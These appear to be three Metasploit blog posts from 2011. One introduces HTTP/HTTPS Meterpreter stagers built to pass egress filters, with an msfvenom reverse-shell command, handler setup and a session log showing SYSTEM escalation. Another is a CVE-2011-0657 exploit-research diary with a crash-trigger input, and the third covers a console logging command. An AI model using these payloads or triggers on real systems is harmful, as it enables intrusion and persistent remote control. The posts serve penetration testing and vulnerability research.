Corporate egress filters are becoming tighter and the standard connect-back payload has become less useful for large-scale end-user phishing campaigns. The PassiveX payload worked well for specific versions of Internet Explorer, but is becoming harder to support due to version and platform differences. The HTTPS stager within Metasploit works, but only the first stage of the connection used the target's proxy settings and authentication; the second stage required a full persistent SSL connection from Meterpreter back to the attacking system.

Rob Fuller (who many know as mubix) was lamenting this state of affairs last Sunday and convinced me to actually do something about it. The result is native support for HTTP and HTTPS transports for the Meterpreter payload, available in the Metasploit Framework open source tree immediately. Our Metasploit Pro users will be able to take advantage of the new HTTPS stager for phishing campaigns once the code has gone through a full regression test. These payloads use the WinInet API and will leverage any proxy or authentication settings the user has configured for internet access. The HTTPS stager will cause the entire communication path to be encrypted through SSL.The HTTP stager, even without encryption, will still follow the HTTP protocol specification and allow the payload to breeze through protocol inspecting gateways.

These new stagers (reverse_http and reverse_https) are a drastic departure from our existing payloads for one singular reason; they are no longer tied to a specific TCP session between the target and the Metasploit user. Instead of a stream-based communication model, these stagers provide a packet-based transaction system instead. This mode matches the behavior of many malware families and botnets. The challenge with these payloads is identifying when the user is "done"; this is accomplished in three different ways:

1. The payload has a hard-coded expiration date stamped into it during the initial staging process. By default, this is one week from the current date (relative to the target). This prevents a forgotten session from connecting back indefinitely. You can control this setting through the SessionExpirationTimeout advanced option. Setting this value to 0 indicates that it should continue connecting back until the process is forcibly killed or the target is restarted.

2. The payload has a hard-coded keep-alive timeout stamped into it during the staging process. This tells the payload to shutdown on its own if it is unable to connect back for a specific number of seconds. By default this is 300 secoinds (5 minutes), but it can be changed by setting the SessionCommunicationTimeout parameter. Just like the SessionExpirationTimeout option,setting this to 0 will result in a session that will never timeout, which has some interesting uses, as described below.

3. Finally, the Meterpreter payload now exposes a shutdown API (core_shutdown). This is called automatically when the session is exited through the Metasploit Console. To avoid shutting down the payload but still exit the temporary session, use the detach command from the Meterpreter prompt. Keep in mind that if the SessionCommunicationTimeout is hit (5 minutes of not being able to reach a listening handler), the payload will terminate anyways. Setting this option to 0 and detaching the session will instruct the payload to keep reaching out until the SessionCommunicationTimeout is hit or the process is killed.

With the new behavior and the three termination options above, some new capabilities are exposed.

If you are conducting a penetration test in which the compromised target has spotty internet access, setting SessionCommunicationTimeout to 0 will ensure that your session will reattach whenever the target comes back online (as long as the handler is running). Even better, the target will use the currently configured proxy server and authentication settings to reach the Metasploit server. Rob Fuller tested the new payloads through TOR and the payload was able to keep a session alive even when the exit nodes were being changed and the TOR service was turned on and off. This level of resiliency previously required a payload to be written to disk, which goes against one of the core principals of the Metasploit design.

If you are conducting a penetration test and want to change the IP to which your incoming connections are received, just use a DNS name for LHOST and modify the DNS record as needed (set a low TTL). If the name does not resolve and the SessionCommunicationTimeout and SessionExpirationTimeout settings have not been reached, the payload will continue trying to resolve the name and connect back. The session will continue to follow DNS changes and IP changes on the target side.

The work that was done to support a transactional HTTP-based communication model can be easily extended to support other communication channels in the future. Communicating through IRC, using Pastebin documents, or really any other form of network communication is now relatively simple to implement. Malware, botnets, and backdoors are using increasingly sophisticated communication channels and it is about time that our security tools caught up.

The command line below will generate a Windows executable that uses the new HTTPS stager:

$ msfvenom -p windows/meterpreter/reverse_https -f exe LHOST=consulting.example.org LPORT=4443 > metasploit_https.exe

This sequence of Metasploit Console commands will configure a listener to handle the requests:

$ ./msfconsole

msf> use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https

msf exploit(handler) > set LHOST consulting.example.org

msf exploit(handler) > set LPORT 4443

msf exploit(handler) > set SessionCommunicationTimeout 0

msf exploit(handler) > set ExitOnSession false

msf exploit(handler) > exploit -j

[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://consulting.example.org:4443/

[*] Starting the payload handler...

Running the executable on the target results in:

[*] 192.168.0.129:51375 Request received for /INITM...

[*] 192.168.0.129:51375 Staging connection for target /INITM received...

[*] Patched transport at offset 486516...

[*] Patched URL at offset 486248...

[*] Patched Expiration Timeout at offset 641856...

[*] Patched Communication Timeout at offset 641860...

[*] Meterpreter session 1 opened (192.168.0.3:4443 -> 192.168.0.129:51375) at 2011-06-29 02:43:55 -0500

msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > getuid

Server username: Spine\HD

meterpreter > getsystem

...got system (via technique 1).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > detach

[*] Meterpreter session 1 closed. Reason: User exit

At this point, we can close the Metasploit Console and bring it up at any time.

After running the handler again with the same parameters:

[*] 192.168.0.129:51488 Request received for /CONN_mmOJARwJFmHbqXKu/...

[*] Incoming orphaned session CONN_mmOJARwJFmHbqXKu, reattaching...

[*] Meterpreter session 1 opened (192.168.0.3:4443 -> 192.168.0.129:51488) at 2011-06-29 02:44:24 -0500

msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

You can see that the session has maintained state even across different instances of Metasploit.

This concept applies to background tasks like the keystroke sniffer, network sniffer, and other fuctions that accumulate information in the background.

-HD

MS11-030: Exploitable or Not?

jdrake@metasploit.com — Mon, 27 Jun 2011 15:13:17 GMT

If you weren’t already aware, Rapid7 is offering a bounty for exploits that target a bunch of hand-selected, patched vulnerabilities. There are two lists to choose from, the Top 5 and the Top 25 . An exploit for an issue in the Top 5 list will receive a $500 bounty and one from the Top 25 list will fetch a $100 bounty. In addition to a monetary reward, a successful participant also gets to join the elite group of people that have contributed to Metasploit over the years. Their work will be immortally assimilated into the Framework, under BSD license, for all to see.

Despite the low value of the reward, I saw this as an opportunity to make a little extra cash and take a look a fairly challenging bug. I selected CVE-2011-0657 from the Top 5 due to my previous experience with the DNS protocol. After I claimed the bug, and checked that my name was safely in the table of players, I immediately began procrastinating.

Later that day, Jon Butler (@securitea) tweeted to the effect that he had been working on the bug. I replied, letting him know I was willing to collaborate and share the cash and glory. After discussing some logistics, Jon sent me his commented IDB of the old version of DNSAPI.dll from Windows 7 and a PoC based on Scapy. When I opened the IDB, Jon already had it pointed at the “_Dns_Ip4ReverseNameToAddress_A” function. It was well commented, but I quickly invoked the Hex-Rays decompiler and started analyzing the function. You can find the HTML output here. You probably want to keep it open in a new tab while you continue reading.

After doing some input validation, the string preceding “.in-addr.arpa” is copied into a local stack buffer on line 23. Inspecting the constraints showed that it isn’t possible to cause a buffer overflow at this point.

I read on and noticed that it was processing the local stack buffer in reverse. It starts with “v_suffix” on line 26 and looks to see if it points at a ‘.’ character. If the value ever points at the beginning of the buffer, processing is halted and the “v_return” value is written to the output “a_ret” pointer on line 49. This seems all well and good, or is it?

After looking for a few more minutes, I came to a realization. Here is an excerpt from the chat log with Jon.

(5:33:22 PM) jduck: hexrays shows two nested loops

(5:33:48 PM) jduck: while (1) { while (1) { --endptr; .... } ... --endptr; }

(5:33:55 PM) jduck: so it could double decrement

(5:34:11 PM) jduck: then the if == begin will never catch it

(5:34:39 PM) Jon Butler: hmm

(5:34:43 PM) jduck: 0.in-addr.arpa == trigger

(5:34:53 PM) Jon Butler: i'll test it

(5:35:45 PM) Jon Butler: no crash

A skilled auditor may notice my error here. I thought for sure that would crash the service, but it didn’t. So I thought some more...

(5:35:54 PM) jduck: im running thru it in my head hehe

(5:36:02 PM) Jon Butler: yeah, its all good

(5:36:06 PM) Jon Butler: cant hurt to try

(5:36:13 PM) jduck: maybe .0.in-addr.arpa ?

(5:36:16 PM) Jon Butler: i was thinking lots of dots might do it as well

(5:36:20 PM) jduck: with a preceding period

Now at this point, I had some doubt that this was the bug at all and changed the subject of our conversation before Jon got a chance to test with this input. Silly me. Also, Jon was having some issues getting a debugger going attached to the service.

(5:24:47 PM) Jon Butler: also, protip: dont atatch windbg to the DNS client then wait while windbg tries to resolve microsoft.com to get symbols

Jon and I spent the rest of Tuesday evening and most of Wednesday evening flailing every which way except the right direction. Jon battled the symbol resolution problem while I went off on a tangent trying to trigger the bug in XP. By Wednesday evening (late night Wednesday for Jon), he had solved the symbol issue and began stepping through the code to gain a better understanding. We threw several ideas back and forth, but none of them lead to a crash. Eventually, time got the better of us and we called it a day.

NOTE: In order to work around the symbol issue, its possible to use the “symchk” executable to download the symbols for the “dnscache” service process before attaching to it. Once downloaded, set the _NT_SYMBOL_PATH variable to point to *ONLY* the local symbol directory, and voila.

Thursday, Jon came online and we continued reviewing the changed functions within the XP DNSAPI.dll. We were hoping that they might give us some insight that we didn’t get before. On Jon’s recommendation, I asked HD about the Windows XP vector. It went something like this:

19:54 <@jduck> will rapid7 give $500 for the local xp exploit?

19:54 <@hdm> jduck: sure if its a remote on windows 7

So I abandoned my efforts trying to trigger the bug via the LPC on XP, and diverted my attention back to Windows 7. I started by going back through the changes (still using XP binaries) one at a time, hoping to eliminate any that weren’t security related. I found some changes related to locking, but it’s unclear if that was related. After I went through all of these changes, and didn’t find any glaring issues, I went back to diffing the Windows 7 binaries. I grabbed fresh copies of the DLLs, grabbed fresh copies of their symbols, created fresh IDBs and BinDiff'd them. To my surprise, there was were only four changed functions!

After getting my Windows 7 VM going, working around the symbol resolution issue, I started playing around sending inputs. I read the IPv6 version, ”_Dns_Ip6ReverseNameToAddress_A”,

and spent a couple of hours sending various inputs. Finally, I got a crash!

Unfortunately, it was only a 0xc00000fd exception. The human-readable description of this exception code, which irks one of my pet peeves, is often displayed as “Stack Overflow”. This is not the kind of crash you want to see when developing an exploit since this kind of crash is rarely exploitable. In this particular case, there is no exception handler, so it simply kills the process. The service is set to restart automatically twice, and reset counts after one day, but that isn’t terribly helpful (try: sc qfailure dnscache).

Let’s take another look at the decompiler output for the Ip4 version. Consider an input string of “.0.in-addr.arpa”. On the first iteration, a ‘0’ will be found, so “v_suffix” will simply be decremented. On the second iteration, a ‘.’ character is found on line 33. Next, it is overwritten with a NUL byte on line 38 and re-incremented. The “strtoul” function is called on line 40 and the return value from it is merged into ultimate return value on line 43. Since “v_suffix” does not point to the beginning of the buffer, it will be decremented on line 47. Note that after decrementing the pointer here, it will point at the beginning of the buffer (the first ‘.’ character). The next statement that is executed is “--v_suffix;” on line 32. At this point, the pointer has escaped the bounds of the local buffer, and will never again have the chance to point to the beginning. If no ‘.’ character is found before the beginning of the stack is reached, the 0xc00000fd exception will be raised when the guard page at the top of the stack is accessed.

Even though I managed to crash the process, I wasn’t 100% sure that this was the reason Microsoft released an update. I didn’t see anything interesting in the other changed functions. It seemed unlikely that anything good could come from this since there was no return address or function pointer on the stack before the function.

My first thought was to assume that I could control the data above the buffer on the stack. I hypothesized that I could do this via some deeper call stack that would occur in a preceding function call. Perhaps controlling this data would allow passing an input string that was longer than the function originally allowed. That would violate assumptions made by the programmers, and could lead to further corruption. So I created a WinDbg script that would put more valid-ish strings into the stack above (lower addresses) the buffer.

First I tested with the Ip4 variant, but it didn’t yield anything fun. Then, I tried some things with the Ip6 version, which writes one byte at a time for each pair of nibbles encountered (ex. “a.b.”). It will write up to 16 bytes (the size of the destination buffer passed in, likely a struct in6_addr). I double-checked and concluded that it wasn’t possible to cause a buffer overflow this way.

Although I didn’t get an awesome crash from this experiment, I found that it was possible to prevent a crash from occurring this way. In one instance, an already-used return address on the stack contained a ‘.’ character and prevented the crash. Being able to force this type of behavior is certainly advantageous, so I wrote this down for later.

Slightly disappointed with these results, I took a look at the Ip4 version’s stack frame.

Just before the data in “v_buf”, we find the pointer “v_out_ptr”. After a brief look over, it seemed the best next-step would be to try to corrupt this pointer and cause the “v_result” value to be written somewhere unexpected. If the pointer happened to contain a ‘.’ character, it would get replaced by a NUL byte. That is, if “v_out_ptr” was 0x00132e40, it would then become 0x00130040. It is possible for this to happen one of two ways. First, we would need to find some way to control the length of preceding function calls stack frames (ex. via “alloca”). This is often a long tedious path, for which not many good tools exist. The other option means crossing our fingers and hoping ASLR gives us a lucky value. I love rare cases where a mitigation contributes to exploitability!

NOTE: Although it’s not visible in the decompiler output, the “v_out_ptr” is read from the stack immediately before writing the output value. This is one of the reasons why the decompiler can be misleading when doing exploit development.

Initially, I tried a few experiments using the Ip6 version. Unfortunately, the Ip6 version has far more strict handling of the return from “strtoul”. If a zero is returned (ex. a string like “z.”), or if the value is greater than 15, the loop terminates and nothing is written. So I went to check the situation using the Ip4 version. It is a bit more lenient in that it accepts zero return values, as you can see on line 41. However, if we fail that conditional the function returns zero and no write occurs. In fact, only way to get the Ip4 function to write to “v_out_ptr” is when “v_suffix” points at the start of the buffer (line 44). Ugh, strict constraints or impossibilities, not a good feeling.

Finally, on Saturday, I caved in and decided to reach out to Neel Mehta. As the original discoverer of the vulnerability, I figured he had a unique perspective on the issue. After exchanging several emails, Neel confirmed that I had nailed the root cause and offered several promising ideas for where to go next.

The first idea was to use TCP based LLMNR resolution. I looked at my Windows 7 SP0 machine and it wasn’t listening on TCP port 5355. Bummer. Further googling led to an old TechNet arcticle that states “TCP-based LLMNR messages are not supported in Windows Vista”. Even if Windows 7 supports this feature, RFC4795 says TCP resolution is only used when the server has a reply that is too long for UDP. In this situation, similar to traditional DNS, the truncation (TC) bit is set in the flags section. Although it may be possible to construct a serious of queries and/or spoofed responses in order to elicit a truncated response, this was not investigated. This could be considered an exercise for the reader, should you be so inclined.

The second idea that Neel conveyed centered around the additional registers that are pushed onto the stack within the course of the functions executing. Looking at push instructions in the function shows that esi, edi, and ebx are pushed to the stack (in that order). These registers are later restored prior to returning to the calling function, “Dns_StringToDnsAddrEx”. After returning, the ebx register is checked against the value 0x17. The edi register is passed to one of the “RtlIpv6StringtoAddressEx” functions (ANSI or UNICODE). The esi register is passed as the destination argument to one of two ‘‘bzero(dst, 0x40)” calls. Unfortunately, none of this looked particularly promising.

The third idea that Neel proposed was to investigate the interaction between regular DNS queries and these functions. It turns out that the calling function is called from “DnsGetProxyInfoPrivate” which is exported along with “DnsGetProxyInformation”. We made no further effort to investigate this avenue. Perhaps another exercise for the reader :-)

With Saturday winding down, I decided to put together a quick trigger-fuzzer to test if random luck would lead to anything sexy. I ran it for an hour or so, but quickly got tired of looking at 0xc00000fd exception after 0xc00000fd exception. My hope had started to run out and my batteries needed recharging, so I crashed.

Sunday, Jon and I went back and forth discussing whether or not the issue was exploitable at all. We recapped our findings, but ultimately came to the conclusion that there was no way we could write a reliable exploit in time to qualify for the bounty. I had previously said I’d conduct a few more experiments in the debugger to see if corrupting the other stack-saved registers led to any nice crashes in the parent function. I set a break point in the processing loop of each of the vulnerable functions and fired off some trigger queries. Each time the breakpoint was hit, I wrote a ‘.’ character to a byte offset in the saved register area and continuing execution. Out of all 16 bytes, only one led to a different crash. This was the saved esi value, which was subequently used in the bzero operation.

Similar to the “v_out_ptr” value, this value was a stack pointer that points to a the output area of “Dns_StringToDnsAddrEx”. If it happened to contain a ‘.’ character, it would get modified to point to an address higher on the stack. This really isn’t much help since we’re already higher than any data that could affect code flow (return addreses, etc). This path seemed like a dead end. Having fulfilled my promise to try this experiment, I readied myself to admit defeat.

Prior to formally giving up on the bounty, Jon suggested I email Neel one last time to ask if he managed to obtain code execution from this vulnerability. Neel replied stating he hadn’t. He decided to stop work on the bug once Microsoft agreed that the issue should be rated Critical. He reiterated that he believes it’s possible to exploit this bug, but agreed that it was definitely more challenging than most bugs.

Although I want to believe that the bug is exploitable, I simply can’t see a way. Jon and I have folded. I would love to say this bug is unequivocally not exploitable, but as we have seen in the past this probably isn’t wise. Regardless, it seems to me, and I believe the facts show, that this bug is challenging enough that it’s not possible to write a reliable exploit leveraging it in one week.

Despite my opinion, there are still some avenues left unexplored for those that are inclined to push forward on this bug. If you wish to continue where we left off or just play with bug, our technical notes are available and a DoS Metasploit module has been added to the tree. If you do push the analysis envelope forward on this bug, we hope you will contribute your findings back to the community. Good luck and happy exploiting to you all!

Metasploit Framework Console Output Spooling

hdm@rapid7.com — Sat, 25 Jun 2011 19:11:09 GMT

Sometimes little things can make a huge difference in usability -- the Metasploit Framework Console is a great interface for getting things done quickly, but so far, has been missing the capability to save command and module output to a file. We have a lot of small hacks that makes this possible for certain commands, such as the "-o" parameter to db_hosts and friends, but this didn't solve the issue of module output or general console logs.

As of revision r13028 the console now supports the spool command (similar to database consoles everywhere). This command accepts one parameter, the name of an output file. Once set, this will cause all console output to be shown on the screen and written to the file. Calling the spool command with the parameter "off" will disable the spool. Even better, this command opens the destination file in append-only mode, so you can add the following line to your ~/.msf3/msfconsole.rc to automatically log all of your output for the rest of time:

spool /home/<username>/.msf3/logs/console.log

Thanks to oorang3 on freenode for the suggestion. To access the new command, use the msfupdate command on Linux (or just "svn update") or the Metasploit Update link on Windows.

If you are running a version of the Metaspoit Framework that used one of the binary installers prior to 3.7.2, we strongly recommend upgrading to take advantage of the improved auto-update capabilities and dependency fixes in that release.

-HD